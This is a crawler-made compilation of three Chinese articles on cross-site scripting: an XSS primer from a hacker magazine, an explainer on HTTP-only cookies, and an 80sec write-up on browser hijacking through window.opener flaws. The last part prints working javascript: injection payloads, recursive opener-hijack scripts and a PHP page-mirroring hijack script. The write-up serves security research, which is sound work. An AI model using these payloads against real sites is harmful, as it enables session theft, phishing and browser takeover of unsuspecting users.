跨站挂马全攻略

跨站挂马全攻略   

转载请注明版权:http://a1pass.blog.163.com/   A1Pass   《黑客X档案》

 现在的黑客攻击手法中,跨站挂马似乎正在逐渐成为攻击的主流话题,鉴于这种形势,俺就把我学习跨站挂马的一点心得总结出来与大家分享。

由于考虑到知识的认知过程以及入门朋友们的技术底子问题,本文将分为“基础知识”、“跨站漏洞”与“挂马技巧”三部分组成,咱们先来学习一下基础知识,以及跨站攻击的利用方法。

一、基础知识

1、什么是UBB码

XSS攻击主要在两种环境下进行,一个是用户自己构造的比标签,构造者汇总标签要严格遵循HTML标记语言,而UBB码是HTML的一个变种,属于系统提供的标签。UBB代码简单,功能很少,但是由于其TAG语法检查实现非常容易,所以许多网站引用了这种代码,以方便广大网友的使用,当然,同时也为我们打开了方便之门。

下面我列出几个例子,以便大家对UBB码有一个感性的认识。

显示为粗体效果:[B]文字[/B]

显示为斜体效果:[I]文字[/I]

显示文字的超链接:[URL= http://www.hackerxfiles.net/]黑客X档案官方站[/ URL]

通过上面的例子,我们可以看出来UBB码用的是中括号标签“[”与“]”。

为什么介绍这些?因为关键时候,我们借助UBB码也可以达到跨站的效果。

 

二、什么是跨站漏洞

所谓的跨站漏洞,就是一种往数据库里插入特定恶意代码的一种攻击技术,它被称为“XSS”或“CSS”,懂网页设计的朋友可能会困惑,CSS不是层叠式样式表的简称吗?没错,只不过是重名而已,因为跨站攻击的英文是Cross-SiteScripting,所以简称为CSS。但是为了与层叠式样式表区分,现在普遍叫做XSS。那么XSS为什么会被称作为跨站攻击呢?这是因为黑客通过别人的网站脚本漏洞达到攻击的效果,就是说可以隐藏攻击者的身份,因此叫做跨站攻击。其实“Cross-SiteScripting(跨站点脚本)”在意义上来讲是属于错误的名字,因为XSS攻击与脚本基本无关不说,甚至根本不一定是跨站点的。但是这在刚刚发现这种攻击手法时就起了这样一个名字,所以沿用至今,大家也就只能接受了。

对于受到XSS攻击的服务器来说,被插入恶意代码的WEB程序会永久的储存这些代码,除非人为的删掉它!当有人访问这个WEB程序下的某个页面时,恶意代码就会混杂在正常的代码中发送给浏览者,从而导致浏览器执行相应代码,因此达到黑客的攻击目的。

一般情况下来讲,人机交互比较高的WEB程序更容易受到XSS攻击,比如论坛、留言板与带有评论功能的新闻系统等等。而当黑客成功插入相关恶意代码时,那么他就可以挂马、获取管理员的登陆Cookie、强制执行操作甚至格式化浏览者的磁盘(不过用IE6.0的朋友不用担心硬盘被格式化,因为IE6.0的默认安全规则会阻止这些危险动作的发生)!只要是脚本能够实现的功能,跨站攻击同样能达到,因此XSS攻击的危害程度甚至与溢出攻击都是不相上下!

 

三、跨站攻击的原理

其实,XSS攻击的本质还是注入的问题,只不过XSS攻击注入的是恶意的HTML脚本而已。但是这些注入的恶意代码为什么会被执行呢?这其实是由于浏览器的不足造成的。

因为浏览器在接受数据时,他无法辨认哪些是应该解释的代码,哪些是不需要解释的数据。如果是数据,浏览器完全可以简单的将其显示出来即可,但可悲的是浏览器做不到这点,只要碰到符合条件的标记,他就会将其解释执行,从而给我们XSS攻击埋下伏笔。

所以如果WEB程序在接受数据时如果不做有效的过滤,就会导致恶意代码进入数据库,而且我们注入的JavaScript代码可以在安全策略准许的范围内执行任何操作,如果这段JavaScript代码可以让对方的电脑下载并执行你的木马时,这就是我们所说的“挂马”了。

归根结底,跨站攻击的根本漏洞就在WEB程序里,大家可以看看图3。

跨站挂马全攻略 - A1Pass - A1Pass的风清月朗居

有助于你进一步理解XSS攻击的含义,我们通过图3可以看出来,如果WEB程序能做跟好的滤,XSS攻击是完全有可能被避免的。

此文章通过 python 爬虫创建,原文是自己的csdn 地址: 跨站挂马全攻略

XSS与HTTP-only

原文地址:httponly作者:buptwangzhe

摘自:http://netsecurity.51cto.com/art/200902/111143.htm

一、XSS与HTTP-only Cookie简介

跨站点脚本攻击是困扰Web服务器安全的常见问题之一。跨站点脚本攻击是一种服务器端的安全漏洞,常见于当把用户的输入作为HTML提交时,服务器端没有进行适当的过滤所致。跨站点脚本攻击可能引起泄漏Web站点用户的敏感信息。为了降低跨站点脚本攻击的风险,微软公司的Internet Explorer 6 SP1引入了一项新的特性。

这个特性是为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie。

像这样具有该属性的cookie被称为HTTP-only cookie。包含在HTTP-onlycookie中的任何信息暴露给黑客或者恶意网站的几率将会大大降低。下面是设置HTTP-only cookie的一个报头的示例:

Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT;HttpOnly

上面我们介绍了HTTP-onlyCookie;下面我们开始向读者介绍跨站点脚本攻击、允许通过脚本访问的cookie所带来的潜在危险以及如何通过HTTP-only来降低跨站点脚本攻击的风险。   

跨站点脚本攻击是一种服务器端常见的安全漏洞,它使得黑客可以欺骗用户从而导致用户在某个Web站点上的敏感信息的泄漏。下面通过一个简单的示例来解释一个跨站点脚本攻击的相关步骤。

二、跨站点脚本攻击示例

为了解释跨站点脚本攻击是如何被黑客利用的,我们假想了下面的一个例子:

A证券公司运行了一个Web 站点,该站点允许您跟踪某股票的最新价格。为了提高用户体验,登录A证券公司的Web站点之后,你将被重定向到www.azhengquan.com/default.asp?name=
< script >evilScript()< / script
>
张三,并且有一个服务器端脚本生成一个欢迎页面,内容为“欢迎您回来,张三!”。

你的股票数据被存放在一个数据库中,并且Web站点会在你的计算机上放置一个cookie,其中包含了对这个数据库非常重要的数据。每当你访问A证券公司站点时,浏览器都会自动发送该cookie。

一个黑客发现A证券公司公司的Web站点存在一个跨站点脚本攻击缺陷,所以他决定要利用这点来收集你所持股票的名称等敏感信息。黑客会您你发送一封电子邮件,声称您中奖了,并且需要点击某个链接如“点击这里”来领取奖品。注意,该链接将超链接到www.azhengquan.com/default.asp?name=<script >evilScript()< / script>
当您点击这个链接,映入眼帘您的将是“欢迎您回来!”——等等,您的姓名哪里去了?事实上,单击电子邮件内的链接之后,你实际上就是在通知A证券公司公司的Web站点,你的姓名是<script  >evilScript()<  /script>。Web服务器把用这个“名字”生成的HTML返回给你,但是你的浏览器会把这个“名字”作为脚本代码解释,脚本执行后便出现了我们前面看到的一幕。一般情况下,支持客户端脚本是浏览器的典型功能之一。如果这个脚本命令浏览器向黑客的计算机发回一个cookie,即使这个cookie包含有您的股票的有关信息,您的浏览器也会老老实实地执行。最后,那些来自A证券公司的Web
站点的指令获取了那个包含敏感信息的cookie。

下面是跨站脚本攻击的示意图,它详细的展示了攻击的五个步骤。首先,用户点击了黑客发来的电子邮件中的一个嵌入的链接(第1步)。由于跨站点脚本攻击缺陷的原因,这样会导致用户的浏览器向Web站点发送一个请求(第2步);服务器端根据该请求会生成一个包含恶意脚本的响应,并将其发回给用户的浏览器(第3步)。当用户的机器执行返回的恶意代码时(第4步),就会将用户的敏感数据发送给黑客的计算机(第5步)。

我们可以看到,这个过程只需要用户单击了一个链接,然后就会有指令发送给Web服务器,然后Web服务器生成一个嵌入恶意脚本的网页;浏览器运行这个来自受信任的源的脚本,却致使信息泄漏给黑客的计算机。跨站点脚本攻击有许多不同的形式,这里只是其中的一种。

三、用HTTP-only Cookie保护数据

为了缓解跨站点脚本攻击带来的信息泄露风险,Internet Explorer 6SP1为Cookie引入了一个新属性。这个属性规定,不许通过脚本访问cookie。使用HTTP-only Cookie后,Web站点就能排除cookie中的敏感信息被发送给黑客的计算机或者使用脚本的Web站点的可能性。

Cookie通常是作为HTTP应答头发送给客户端的,下面的例子展示了相应的语法(注意,HttpOnly属性对大小写不敏感):

Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]

即使应答头中含有HttpOnly属性,当用户浏览有效域中的站点时,这个cookie仍会被自动发送。但是,却不能够在InternetExplorer 6 SP1中使用脚本来访问该cookie,即使起初建立该cookie的那个Web站点也不例外。这意味着,即使存在跨站点脚本攻击缺陷,并且用户被骗点击了利用该漏洞的链接,InternetExplorer也不会将该cookie发送给任何第三方。这样的话,就保证了信息的安全。
注意,为了降低跨站点脚本攻击带来的损害,通常需要将HTTP-onlyCookie和其他技术组合使用。如果单独使用的话,它无法全面抵御跨站点脚本攻击。

四、支持HTTP-only Cookie的浏览器

如果Web 站点为不支持HTTP-only Cookie的浏览器建立了一个HTTP-onlycookie的话,那么该cookie不是被忽略就是被降级为普通的可以通过脚本访问的cookie。这还是会导致信息容易被泄露。

对于公司内部网中的web页面,管理员可以要求所有用户都是由支持HTTP-onlyCookie的浏览器,这样能保证信息不会由于跨站点脚本攻击缺陷而泄露。

对于公共Web 站点,由于需要支持各种各样的浏览器,这时可以考虑使用客户端脚本来确定不同访问者所使用的浏览器的版本。Web站点可以通过向支持~的浏览器发送敏感信息以减轻跨站点脚本攻击对Cookie的威胁。对于那些使用不支持HTTP-onlyCookie的浏览器的访问者,可以限制为其提供的信息或功能,并要求升级他们的软件。

当确定Internet Explorer的版本时,重要的是记住Internet Explorer 6 SP1的用户代理字符串跟Internet Explorer6的用户代理字符串是一样的。客户端脚本还必须使用navigator对象的appMinorVersion属性检测主版本号,这样才能确定出客户端是否安装了Internet Explorer 6 SP1。

五、小结

在Web安全领域,跨站脚本攻击时最为常见的一种攻击形式,也是长久以来的一个老大难问题,而本文将向读者介绍一种用以缓解这种压力的技术,即HTTP-only cookie。我们首先对HTTP-onlycookie和跨站脚本攻击做了简单的解释,然后详细说明了如何利用HTTP-onlycookie来保护敏感数据,最后介绍了实现HTTP-only cookie时确定浏览器版本的具体问题。

此文章通过 python 爬虫创建,原文是自己的csdn 地址: XSS与HTTP-only

利用窗口引用漏洞和XSS漏洞实现浏览器劫持

转自:http://www.80vul.com/webzine_0x03/PSTZine_0x03_0x05.html
貌似是好久之前的文章了,今天读起来还是收获颇多啊利用窗口引用漏洞和XSS漏洞实现浏览器劫持[转]
注:有很多code处都加了<!-- --> 否则会被博客给转译
一、前言

   最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。

二、同源策略简叙

   同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。

三、理解window对象的同源策略

   窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:

--code-------------------------------------------------------------------------
<script language="javascript">
for(p in window)document.write(p+"<br>");
</script>
-------------------------------------------------------------------------------

   这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
这些属性和方法就必须遵循同源策略。

   举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。

--demo.html--------------------------------------------------------------------
<!--
<scriptlanguage="javascript">  
function allPrpos(obj){     
     var props ="<table><tr><td>名称</td><td>值</td>";          
     for(var p inobj){         
           if(typeof(obj[p])=="function"){  
                  obj[p]();  
            }else{                     
                 try  
                  {  
                         props+="<tr><td>"+p+"</td><td>"+ obj[ p ] +"</td></tr>";  
                  }  
                 catch (ex)  
                  {  
                  
                         props+="<tr><td>"+p+"</td><td>"+ex.message+"</td></tr>";  
                  }  
                      
            }  
      }  
  
      document.write(props+"</table>");  
}  
  
function createWin() {
    newWin =window.open ("http://www.google.com"); 
   setTimeout(function(){allPrpos(newWin)},2000);
}

</script>

<buttononclick="createWin()">创建一个非同源子窗口测试</button>
-->
-------------------------------------------------------------------------------

四、窗口引用功能中的同源策略漏洞

4.1 父窗口引用子窗口的同源策略问题

   去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
行测试,会发现父窗口可以控制非同源子窗口location属性值。

--vul1.html--------------------------------------------------------------------
<!--
<script language="javascript">
function createWin() { 
    newWin =window.open ("http://www.google.com"); 
   setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
}
</script>

<buttononclick="createWin()">创建一个非同源子窗口测试</button>
-->
-------------------------------------------------------------------------------

4.2 子窗口引用父窗口的同源策略问题

   逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。

--code-------------------------------------------------------------------------

javascript:window.opener.location ="http://www.80sec.com";void(0);

-------------------------------------------------------------------------------

五、利用窗口引用漏洞劫持浏览器

   经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

   我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
会产生什么可怕的后果。

   下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
以做更多的事情,所有的一切仅仅是因为点击了一个链接。

--hjk_ref.php------------------------------------------------------------------
<!--
<?php
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
}
if(isset ($_GET["ref"])) {
echo file_get_contents($_GET["ref"]) ."<script>alert("I had been hijackingyour browser!")</script>";
}
?>

<script language="javascript">
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo$Url_Mirror;?>"},3000);   
</script>
-->
-------------------------------------------------------------------------------

   注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。

六、利用XSS漏洞劫持浏览器

   延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
讨论跨站师的终极技巧:

6.1 正向跨窗口劫持

   大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
框脚本。

--hijack_open.js---------------------------------------------------------------

javascript:for(i=0;i<document.links.length;i++){document.links[i].onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert("Ihad been hijacking your browser!")"}catch(e){};returnfalse;},3000);return false;}};void(0);

-------------------------------------------------------------------------------

6.2 反向跨窗口劫持

   同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
框脚本。

--hijack_opener.js-------------------------------------------------------------

javascript:window.opener.location="javascript:alert("I had beenhijacking your browser!")";void(0);

-------------------------------------------------------------------------------

6.3 极度危险的跨框架窗口引用劫持

   非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
非持久型的XSS,如下:

<iframesrc="http://www.target.com/index.php?vul=xss"width="0"height="0">

   在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
注入脚本。

--hijack_frame_opener.js-------------------------------------------------------
<script>
window.parent.opener.location="javascript:alert("I had beenhijacking your browser!")";
</script>
-------------------------------------------------------------------------------

6.4 极度危险的正反向跨窗口递归劫持

   luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
异常处理规避之间跨域页面的访问异常,代码如下:

--code-------------------------------------------------------------------------

javascript:(function(){varw=window;while(w.opener){w=w.opener;try{w.location="javascript:alert("Ihad been hijacking yourbrowser!");void(1);";}catch(e){}}})();void(0);

-------------------------------------------------------------------------------

   假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
以劫持B域之前的A域页面,从而实现“隔空打击”。

   同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。

   结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。

6.5 完全控制浏览器

   一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
师的终极目标 - 完全控制浏览器。

七、后记

   文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。

八、参考

1. http://en.wikipedia.org/wiki/Same_origin_policy
2.http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_DOM_access
3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

-EOF-----------------------------------

此文章通过 python 爬虫创建,原文是自己的csdn 地址: 利用窗口引用漏洞和XSS漏洞实现浏览器劫持